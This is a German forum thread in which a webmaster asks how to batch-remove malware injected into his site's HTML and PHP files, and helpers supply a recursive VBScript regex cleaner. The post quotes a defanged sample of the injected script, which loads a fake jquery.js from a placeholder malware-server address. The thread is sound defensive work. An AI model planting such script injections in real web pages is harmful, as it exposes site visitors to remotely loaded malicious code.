Per batch Text in HTML und PHP Dateien suchen und ersetzen
Hallo,
ich habe auf unserem Webserver Malware gefunden, die anscheinend viele.html und .php Dateien befallen hat.
Habe die befallenen Dateien alle heruntergeladen und die Teile der Webseite auf "under construction" gesetzt.
Jetzt suche ich ein Programm, dass per batch die Dateien öffnen kann und den gesamten Bereich durch "nichts" ersetzen kann bzw. löschen kann.
Bis jetzt habe ich das Programm Agent Ransack gefunden.
Das konnte mir alle infizierten Dateien finden.
Leider hat das Programm keine suchen und ersetzen Funktion.
Kennt jemand ein visuelles Programm das die Dateien erst auflistet und dann jede Datei nach dem Code durchsuchen kann und vor allem zuverlässig nur dieses Segment löschen kann?
Weiteres Problem dabei:
Der eingeschleuste Code ändern sich auf jeder Seite (es steht immer ein anderer Deep-Link drin, aber immer die gleich IP-Adresse).
Es ist also nicht auf jeder Seite gleich.
Gleich bleibt aber der Anfang und Schluss.
<!123>Inhalt der sich ändert <!123>
Beispiel (verändert - unbrauchbar):
<!--98a55d9688938f1544--><script type='text/javascript' src='http://IP-Adresse-des-Malware-Servers/tmp/jquery.js?Nummer=85&fid=df5f23aff1e91af52ca6886ea1c39df7'></script><script type='text/javascript'>if (typeof KDDRTFGEG == weitere Befehle);document.write("weitere Befehle");KDDRTFGEG=true;}</script><!--98a55d9688938f1544-->
Ich brauch also ein Programm das mir zwischen bzw. inklusive Start und Ende alles löscht und vor allem den Rest der Datei unbeschädigt lässt.
Besten Dank für eure Tipps.
Rene
ich habe auf unserem Webserver Malware gefunden, die anscheinend viele.html und .php Dateien befallen hat.
Habe die befallenen Dateien alle heruntergeladen und die Teile der Webseite auf "under construction" gesetzt.
Jetzt suche ich ein Programm, dass per batch die Dateien öffnen kann und den gesamten Bereich durch "nichts" ersetzen kann bzw. löschen kann.
Bis jetzt habe ich das Programm Agent Ransack gefunden.
Das konnte mir alle infizierten Dateien finden.
Leider hat das Programm keine suchen und ersetzen Funktion.
Kennt jemand ein visuelles Programm das die Dateien erst auflistet und dann jede Datei nach dem Code durchsuchen kann und vor allem zuverlässig nur dieses Segment löschen kann?
Weiteres Problem dabei:
Der eingeschleuste Code ändern sich auf jeder Seite (es steht immer ein anderer Deep-Link drin, aber immer die gleich IP-Adresse).
Es ist also nicht auf jeder Seite gleich.
Gleich bleibt aber der Anfang und Schluss.
<!123>Inhalt der sich ändert <!123>
Beispiel (verändert - unbrauchbar):
<!--98a55d9688938f1544--><script type='text/javascript' src='http://IP-Adresse-des-Malware-Servers/tmp/jquery.js?Nummer=85&fid=df5f23aff1e91af52ca6886ea1c39df7'></script><script type='text/javascript'>if (typeof KDDRTFGEG == weitere Befehle);document.write("weitere Befehle");KDDRTFGEG=true;}</script><!--98a55d9688938f1544-->
Ich brauch also ein Programm das mir zwischen bzw. inklusive Start und Ende alles löscht und vor allem den Rest der Datei unbeschädigt lässt.
Besten Dank für eure Tipps.
Rene
Bitte markiere auch die Kommentare, die zur Lösung des Beitrags beigetragen haben
Content-ID: 215576
Url: https://administrator.de/forum/per-batch-text-in-html-und-php-dateien-suchen-und-ersetzen-215576.html
Ausgedruckt am: 08.04.2025 um 15:04 Uhr
7 Kommentare
Neuester Kommentar
Hallo Rene,
und täglich grüßt das Murmeltier
Schau dir mal UltraEdit an.
Ansonsten ließe sich das mit einem einfachen VBA-Script mit Regular Expression Replace durchführen. Beispiele gibts dazu hier im Forum genug.
Grüße Uwe
und täglich grüßt das Murmeltier
Schau dir mal UltraEdit an.
Ansonsten ließe sich das mit einem einfachen VBA-Script mit Regular Expression Replace durchführen. Beispiele gibts dazu hier im Forum genug.
Grüße Uwe
Hi @Rene1976,
Mir fällt spontan Notepad++ ein. Du musst dann zwar alle Dateien öffnen, aber dann kannst du auch in allen Dateien gleichzeitig suchen und ersetzen (oder dir die Ergebnisse anzeigen lassen und zur entsprechenden Datei + Position springen).
Gruß,
@Snowman25
Mir fällt spontan Notepad++ ein. Du musst dann zwar alle Dateien öffnen, aber dann kannst du auch in allen Dateien gleichzeitig suchen und ersetzen (oder dir die Ergebnisse anzeigen lassen und zur entsprechenden Datei + Position springen).
Gruß,
@Snowman25
Zitat von @colinardo:
Ansonsten ließe sich das mit einem einfachen VBA-Script mit Regular Expression Replace durchführen. Beispiele gibts dazu hier im Forum genug.
Ich geb zu, da war ich wieder mal lazy mit dem Suchverweis Ansonsten ließe sich das mit einem einfachen VBA-Script mit Regular Expression Replace durchführen. Beispiele gibts dazu hier im Forum genug.
hier ein mögliches VBS-Script dazu:
In Zeile 1 noch den Pfad zu deinen HTML-Dateien eintragen, und den passende Regular Expression String in Zeile 5 anpassen. Wenn du dich mit RegEx noch nicht auskennst kann ich dir gerne einen passenden Pattern zusammenbauen. Der jetzige passt auf dein gepostetes Beispiel. Das Script bearbeitet dann alle Dateien mit den folgenden Endungen (*.html / *.htm / *.php).
strFolder = "C:\HTML-Dateien-Ordner"
Set fso = WScript.CreateObject("Scripting.Filesystemobject")
Set regex = New RegExp
regex.Pattern = "<!--98a55d9688938f1544-->.*<!--98a55d9688938f1544-->"
regex.Global = True
For Each f In fso.GetFolder(strFolder).Files
If LCase(Right(f.Name,4)) = "html" Or LCase(Right(f.Name,3)) = "htm" Or LCase(Right(f.Name,3)) = "php" Then
Set objFileRead = fso.OpenTextFile(f.Path,1,-1)
strContent = objFileRead.ReadAll()
objFileRead.Close
If regex.Test(strContent) Then
newContent = regex.Replace(strContent,"")
Set objFileWrite = fso.OpenTextFile(f.Path,2)
objFileWrite.Write(newContent)
objFileWrite.Close
End If
End If
Next
MsgBox "Fertig bearbeitet"
Zitat von @Rene1976:
Frage:
Wie kann man in den oben angegeben Skript alle Ordner mit Unterordner auf einmal durchsuchen und ersetzten?
Frage:
Wie kann man in den oben angegeben Skript alle Ordner mit Unterordner auf einmal durchsuchen und ersetzten?
strFolder = "C:\HTML-Dateien-Ordner"
Set fso = WScript.CreateObject("Scripting.Filesystemobject")
Set regex = New RegExp
regex.Pattern = "<!--98a55d9688938f1544-->.*<!--98a55d9688938f1544-->"
regex.Global = True
parseFolders fso.GetFolder(strFolder), True
MsgBox "Fertig bearbeitet"
Function parseFolders(strFldr,boolRecursion)
For Each f In strFldr.Files
If LCase(Right(f.Name,4)) = "html" Or LCase(Right(f.Name,3)) = "htm" Or LCase(Right(f.Name,3)) = "php" Then
Set objFileRead = fso.OpenTextFile(f.Path,1,-1)
strContent = objFileRead.ReadAll()
objFileRead.Close
If regex.Test(strContent) Then
newContent = regex.Replace(strContent,"")
Set objFileWrite = fso.OpenTextFile(f.Path,2)
objFileWrite.Write(newContent)
objFileWrite.Close
End If
End If
Next
If boolRecursion Then
For Each subFolder in strFldr.SubFolders
parseFolders subFolder, True
Next
End If
End Function
Grüße Uwe